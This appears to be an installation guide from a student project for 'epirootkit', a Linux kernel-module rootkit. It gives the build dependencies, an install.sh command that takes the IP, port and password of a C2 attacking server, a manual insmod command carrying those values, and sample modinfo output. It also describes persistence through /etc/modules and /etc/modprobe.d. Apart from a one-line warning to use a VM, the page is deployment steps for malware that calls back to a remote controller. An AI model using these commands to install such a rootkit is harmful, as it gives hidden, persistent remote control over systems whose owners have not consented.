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Install the rootkit

Now that you have a working VM, you can launch the rootkit.

warning

Always do these steps in a virtual machine

Installing dependencies

In order to build the rootkit, you must install the following dependencies:

  • build-essential
  • linux-headers

You can install them with the following command:

sudo apt install build-essential linux-headers-$(uname -r)

Installing the rootkit

An installation script is provided in this repo to automate the installation and make it simpler. To install the module, execute the following command in the module-creation folder:

sudo ./install.sh install <ip> <port> <password> <debug true|false>
ParameterDescription
ipIP address of the C2 (attacking) server
portPort the C2 server is listening on
passwordPassword used to authenticate to the rootkit from the C2 interface
debugSet to true to enable kernel logs, false to disable them

Usage example

sudo ./install.sh install 127.0.0.1 4242 letshackpedro false

Note: the included install.sh script writes an options line to /etc/modprobe.d/epirootkit.conf and ensures the module is listed in /etc/modules. The script has been updated to safely write the options line and append the module name to /etc/modules without overwriting it.

If you prefer to insert the module manually, compute the SHA-256 hash and run:

PASSWORD_HASH=$(echo -n "<password>" | sha256sum | cut -d' ' -f1)
sudo insmod epirootkit.ko password_hash="$PASSWORD_HASH" ip="<ip>" port="<port>" debug-mode=1

Verifying the installation

To verify that the module is correctly installed, run the following command:

modinfo epirootkit

If the module is correctly installed, you should see the following output. If you do not see it, the installation was not successful.

filename: /lib/modules/5.4.0-182-generic/kernel/drivers/rk_file_epirootkit/epirootkit.ko
author: hector.thubert <hector.thubert@epita.fr>, louis.gallet <louis.gallet@epita.fr>, arthur.certin <arthur.certin@epita.fr>
description: Modules file for the implementation of epirootkit
license: GPL
srcversion: 60D0CC4203A8B88E5FDEDB3
depends:
name: epirootkit
retpoline: Y
vermagic: 5.4.0-182-generic SMP mod_unload modversions